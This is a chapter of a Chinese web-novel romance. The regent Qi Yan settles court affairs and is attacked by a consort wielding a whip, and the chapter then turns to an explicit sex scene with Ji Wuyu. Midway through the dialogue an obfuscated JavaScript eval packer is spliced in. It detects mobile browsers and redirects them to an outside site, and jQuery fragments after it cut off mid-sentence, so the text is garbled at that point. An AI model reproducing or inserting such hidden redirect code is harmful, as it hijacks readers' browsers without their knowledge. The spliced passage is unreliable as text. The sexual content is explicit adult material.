106. 106

作品:《虞跃青云上

    季无虞没想到回到郅都,第一个见的,


    竟然是丘独苏。


    祁言先一步下了马车,给她搭把手,两人就这般自如握着走到皇城外。


    然后便径直碰上了丘独苏。


    季无虞刚一看到他便把手松开,嘴里嘟嘟囔囔,“早知道不和你坐一辆了。”


    祁言听了这话,脸便沉了下来。


    他对一切季无虞抗拒自己的行为都觉得不舒服。


    可祁言又不知道季无虞和丘独苏的关系,只以为是季无虞不好意思。


    又重新握了上去,还自作聪明地在季无虞耳边低语了一句,


    “别怕,我在”。


    季无虞:赫赫。


    丘独苏微眯着眼,目光紧锁着这两人握着的手上。


    前段时日还和自己哭哭啼啼说人家不喜欢自己。


    现在竟然,


    连手都拉上了?


    丘独苏轻咳了两声,同祁言行躬了躬身子,说道:“摄政王安。”


    祁言微微颔首。


    季无虞也反应了过来,从祁言的手中抽开,朝他行了礼,“扶先生好。”


    祁言望着自己空落落的手,心里隐约一阵不爽,对这位本就一直给自己惹麻烦的“扶先生”,自然更没有好脸色,


    “怎么是扶先生来?”


    “摄政王此次荡平叛军,居功至伟,奈何陛下公务繁忙,便命臣来相迎。”


    丘独苏一板一眼地说着客气话,眼神却不自觉地落在季无虞身上。


    见她脸红到连耳朵都和熟透了般,也不知是被自己盯着不自在,还是因为旁边的某个人。


    但无论是何种,丘独苏心里只觉着不满极了。


    这两人一前一后,都板着个脸,唯独中间的季无虞,咧着大嘴,尴尬地笑着。


    “陛下如今在何处?”


    丘独苏面上有几分尴尬,祁言便知……大概是和宸妃在一起了。


    祁言摆了摆手,又低声对季无虞道,“你先回去。”


    季无虞点了点头,祁言便略过她和丘独苏,大步走了进去。


    丘独苏望着眼里好似还……带着几分眷恋的季无虞,气得拂了拂袖子,


    “回去再收拾你!”


    …………


    垂拱殿内。


    “扬州的情况,在路上宣抚使已经同本王说的很清楚了,唐遥旭谋反以及江南贪墨案,虽已告一段落,但背后所牵扯的其爪牙,只怕一时间难以除清。”祁言看向了他方才特意唤来的晁祯之,眸色微沉,“彻查到底。”


    这四个字的分量,在座的所有人都心知肚明。


    晁祯之也不由得有些震惊。


    祁言早些年和唐家走得极近,如今竟然狠得下心连根拔起。


    “是,臣遵命。”


    祁言扫了一圈,目光最后停在了寇德斯的身上,“水患已平,流民之事,户部这边安排遣返事宜,如若不愿,也可就地安置。”


    “其中青壮之民,各地州衙可募其为兵,荆元业,你去办。”


    荆元业躬了身子,拱手道:“臣遵命。”


    储佑嵩闻言便急了,连忙出列道:“不可啊!荒年劳动力本就匮乏,青壮之民若还入伍,那耕地种田的,又该是谁呢?荒年不济,如今劝课农桑还是为顶顶要紧之事啊!”


    祁言不愿再和他多纠缠,只冷冷道:“本王不知道,何时本王的旨意竟还有为人左右的道理。”


    他这话说得确实没错,楚明帝下的那一道旨意,明明白白地说过摄政王之命,无须经过三省合议可直接颁布。


    只是他一般也会给足了这几位大人的面子,象征性地过一遍。


    如今却摆在明面上来驳斥自己,祁言只觉得这面子,怕是也不用给了。


    他不等储佑嵩回话,兀自说道:“此次唐遥旭叛乱,本王心里甚是忧虑。”


    储佑嵩的心里浮现出一股不好的预感。


    果然,


    “扬州大都督府,便撤了吧。”祁言平静地说出他的真实目的,“府内一切兵力直隶于郅都龙武军。”


    龙武军?


    谁不知道如今的龙武军大将军辜振越是祁言的人?


    “王爷!”


    “储相,你忘记本王方才说的了吗?”


    堂内鸦雀无声,只余储佑嵩绝望地一句,


    “臣遵命。”


    祁言正准备收拾收拾回去了,门外传来一阵骚乱。


    他皱了皱眉,下一秒便有人闯了进来。


    竟是唐遥妄?


    唐遥旭叛乱的消息刚一传回郅都,祁言便派了龙武军去围了承庆殿与寿康宫。


    她是怎么跑出来的?


    可惜,祁言还来不及思考,唐遥妄手里的九节鞭便直接落了下来,将他一整个手困住。


    “唐遥妄你疯了!?”


    “我疯了?”唐遥妄笑得猖獗,“我是疯了……”


    “我若不疯,怎么会看不出你一早便要对唐家下手?”


    她面露凶光,扬起鞭子,似乎想要再次打下去。


    而这一次,祁言反应了过来,比唐遥妄先一步上手拧过她的手腕。


    不费吹灰之力,便将那九节鞭夺下,如垃圾般丢到一旁。


    “你……”


    “白缨,把煦妃带回去。”祁言没有理她,只道,“今日承庆殿所有当值的人都滚去领罚。”


    …………


    渐入夜。


    季无虞刚走进栖梧宫,白缨便提醒她,祁言今日心情似乎……不大好。


    本以为没什么,走进书房,头都没抬一下。


    季无虞双手抱胸,挑着眉说道:“我听说煦妃今日来垂拱殿撒野了?”


    “嗯。”


    低低地应了一声,情绪果真不大好。


    季无虞懒得惯他,“我来都板着个脸,这么难伺候啊?”


    祁言身子一僵。


    “那我走了?”


    季无虞转过身把书房门推开,“吱呀”一声后,祁言撂了笔,语气闷闷地,却又无可奈何般,


    “别走。”


    季无虞回过头,见他一人跪坐在主位上,头发似乎还被撩乱了几缕,莫名觉得有几分可怜,以及……


    好笑。


    季无虞走了上去,望着他那衣袖占了一整个座位,压着笑意说道:


    “挪个地。”


    本以为她还能哄个几句,这话听来太过生硬,不情不愿地往旁边挪了几寸。


    而下一秒,季无虞便直接抬了脚,跨坐在祁言的身上。


    季无虞哪怕只是稍稍靠近,都足以乱其心绪,更何况现在,她整个人的重心都压在了祁言的身上。


    两人呼吸交织处,温度都好似上升了几分。


    喉间一股渴意涌上。


    祁言眸子暗了下来,他微仰着头,死死盯着那一抹艳丽的红,他伸手,拇指轻轻略过。


    口脂沾在了自己的指尖。


    有点像,半干的鲜血。


    “眉妩,这么做很危险,”他收了嘴角的笑,似乎在警告些什么,“懂吗?”


    季无虞可不信这个邪,她也伸了手来勾住祁言的脖子,却只撩了两下便往下滑。


    脖颈、锁骨、胸膛……


    最后停留在了,终点的上边。


    “人要学会正视自己的欲望,这是你教我的。”


    季无虞低了头,咬住了祁言的耳垂,稍微用了点力,便红了大片。


    祁言下意识将手钻进季无虞的发窝中,却被斥道:


    “别动。”


    日常被拿捏便算了,若是在这事上还指东不往西,这“惧内”惧得未免也太过了。


    祁言扣住了她的后颈,稍用力一压,便是一个吻落下。


    季无虞边躲,边打落了扶上自己腰,直往衣里钻的那只不安分的手。


    怕她挣扎狠了,祁言意犹未尽地结束了这个黏腻的吻。


    眸里水汽氤氲,未被纾解的欲望在眼底暗流涌动。


    “讨个吻都不行。”他声音沙哑,像是在拼命压抑些什么,“夫人好小气。”


    意识到自己撩过火的季无虞有些悻悻,心虚地回道:“我只是还没准备好。”


    怀中暖玉因着他的抱怨软了下来,祁言见鱼儿上钩,忍不住又笑了笑。


    果然“以退为进”这招,对季无虞最管用了。


    “又不是第一次做了。”祁言抚着她的头发,刻意压低了声音,勾起她的某段回忆,“紧张什么?”


    他故意为之,季无虞难免想起那个在江南的雨夜。


    小雨淅淅沥沥,她抱紧了祁言的后背,难捱的快意使得身子都忍不住蜷缩了起来。


    在临界点,有人点燃了最后一丝理智,防线在颤栗中崩溃,泪眼朦胧,她只见最后一丝清朗,


    他的唇。


    回忆和现实在这一刻重叠,季无虞弯下去,留下一个吻。


    烛花在不知道过了多久后,落下了一朵。


    离得太近,动作稍大些,只怕要飘了过来,顾及到季无虞,祁言下意识伸手想要将烛台移开。


    然怀中人却因他的动作,又抖了两下,祁言碰落了烛台,有几滴蜡油甚至滴落在他的指尖。


    一阵刺痛袭来。


    他承认,自己起了坏心思。


    季无虞见他眸色微沉,以及手头上的动作,隐隐约约猜出了他在想什么。


    “你在做什么?”


    祁言回过神来,望向季无虞,刚刚被蜡油灼伤的手指还发着烫,他换了一只手抚上季无虞的脸颊。


    如今已入深秋,屋内点着了碳火,但季无虞此刻却只披了层薄纱。


    似有若无的一声叹息。


    祁言压制住了自己心中涌动的暴虐因子,伸手拿过白狐毯子给她裹上。


    季无虞又往他身上坐近一些,握住了那一只手,有几分心疼,问道:


    “痛吗?”


    祁言蹭了蹭季无虞的脸,柔声道:“无妨。”


    季无虞偏过头去又吻了吻,问道:“我听说她拿了鞭子来。”


    “那点力度,不碍事的。”


    季无虞知道他不忍让自己担心,又进一步问道:“我之前不也结结实实挨过她一鞭子,痛了好久,怎么可能没事?”


    “真没事。”祁言吻了回去,唇齿相碰间,低声劝慰道,“她鞭法学的不好,小时候就总挨骂,如今更是小打小闹。”


    “你倒是了解得清楚。”


    季无虞不阴不阳一句,祁言却失了笑,“夫人这是醋了?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13972177|134895||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “没必要。”季无虞道,“你又不喜欢她,我醋什么?”


    祁言大概是太想看季无虞会有什么反应了,作死地问道:“那我若是喜欢她呢?”


    季无虞本还撩拨他的动作在这一刻停止,她柳眉一挑,略带几分讽意地上下打量一番,


    “那你现在在我身上扭是什么意思?”


    祁言愣住,知道自己失言了便凑过去蹭了季无虞两下,“错了,夫人。”


    季无虞轻笑一声,却离远了他,在祁言再一次想要靠近的时候,扭住了他的下巴,问道:


    “知道错了便回答我一个问题。”


    不知为何,餍足得微眯着眼的季无虞在祁言的眼里,似乎更适合翘着二郎腿坐在更高的位置上。


    他这么想,便这般做了。


    祁言抬抱起季无虞,放在桌案上,徒然高出祁言一截的季无虞微微愣了愣。


    此刻的她,双腿不着寸缕,凉意朝还发着热的身子袭来的感觉并不好受,季无虞微微蹙了蹙眉,伸了脚点了一下祁言裸露的胸膛。


    “干嘛…我问你话呢。”


    被人用脚来勾着,祁言却也不恼,他伸手握住如玉藕般的脚踝,轻轻一吻。


    半凉的脚背一阵温意传来,她甚至能清楚地感觉到面前的男人再次涌起的欲望。


    又要再来一次吗?


    脚趾不自觉地蜷缩。


    在感受到季无虞明显变化的下一秒,祁言便欺身上去,轻咬着她的侧颈,津液蹭了她一脖子,季无虞刚要发火,他便答道:


    “问什么?”


    他压了上去,手贴心地护住季无虞的头,身体却又是一轮不止不休的进攻。


    季无虞闷哼了一声,咬着下唇,没有着急回答。


    “喜欢吗?”


    尾调微微上挑,季无虞的目光都涣散了片刻。


    他从不掩饰自己对季无虞的爱意,而这份爱意又是床笫间最好的助燃剂。


    季无虞喘着粗气,时不时从紧咬着的牙里溢出几声呻吟,却没有回答祁言的任何一个问题。


    祁言自认技术不糟,而且……她看起来也不是不舒服的样子。


    于是不由得在心里惴惴,脑中想着这几日哪儿有惹到这位祖宗了。


    亲也亲了,爱也做了,这不挺顺溜的嘛,怎么还兴师问罪起来了。


    眉刚一皱,季无虞便开口了,


    “你今天到底在气什么?”


    “啊?”


    季无虞在他的耳边轻喘着,“我本以为…你为煦妃的事儿气,嗯……结果不是……轻点……我让你轻点!”


    根本使不上什么力的手不停地拍打着祁言的背。


    在祁言看来,和猫挠没什么区别。


    他笑着昂起头来吻季无虞,


    “不用力怎么让夫人舒服?”


    季无虞不想理他,又咬了上去,“别……嗯,慢点……别打岔……啊…”


    大抵是方才太过激烈,这一次的高潮来得绵延而细长。


    季无虞只觉得小腹的温热一寸一寸地蔓延至全身,却又在最边际处涌上一阵莫名的凉。


    还不够……还不够……


    欲壑难填。


    季无虞紧闭着眼,混沌中突然出现这一个词。


    真是疯了。


    祁言则耐心地等她颤栗过后,喘着粗气,才停了动作,认真回答了她的问题。


    “我在为你气。”


    季无虞压下高潮过后狂跳的心脏,睁开眼,满是水汽的眸子听到这一句后,冷静了几分。


    “我有什么好气的?”


    她这般懵懂的发问,使得祁言心中又忍不住埋怨,可满足过后的季无虞,太像一只在人怀里打着滚的小猫。


    只想爱抚,不忍斥责。


    他叹了口气,略微犹豫过后,说道:


    “为什么撒手?”


    “蛤?”


    撒手?什么撒手?季无虞大脑此刻有些宕机,


    可见着紧紧抱住自己的祁言,眉宇间,似乎隐约缭绕着一股幽怨的气息。


    嗯……


    怎么还委屈上了?


    季无虞努力地回忆了片刻


    哦,是皇宫外,当时因着丘独苏在,她抽了手。


    想通了的季无虞觉着有点好笑。


    “就因为这事儿给我摆脸啊。”季无虞忍着笑,“说小气谁小气呢。”


    “我小气,我最小气。”祁言又抱紧了她,“所以你以后不准撒开我手。”


    若是换了寻常,季无虞指不定还会高高在上地调侃他两句,可此刻的祁言,脆弱得好似是生怕主人遗弃的小狗。


    季无虞心中涌现出一股从未有过的耐心。


    或者说,她对祁言,从来便最有耐心。


    两人离得太近,她想示好都无从下手,忍不住抿了抿唇。


    方才祁言刚给她披上的白狐毯子滑落在地上,凉风钻进屋内,季无虞如玉般白皙的肩开始抖动,祁言想要弯下身来捡。


    季无虞却下定决心般直接坐了上去。


    两人都僵在了原地。


    季无虞忽然觉着,有什么东西在烧灼着。


    理智告诉她,此刻的境地太过危险,可情感却驱使她又一次低下头,


    落下又一吻。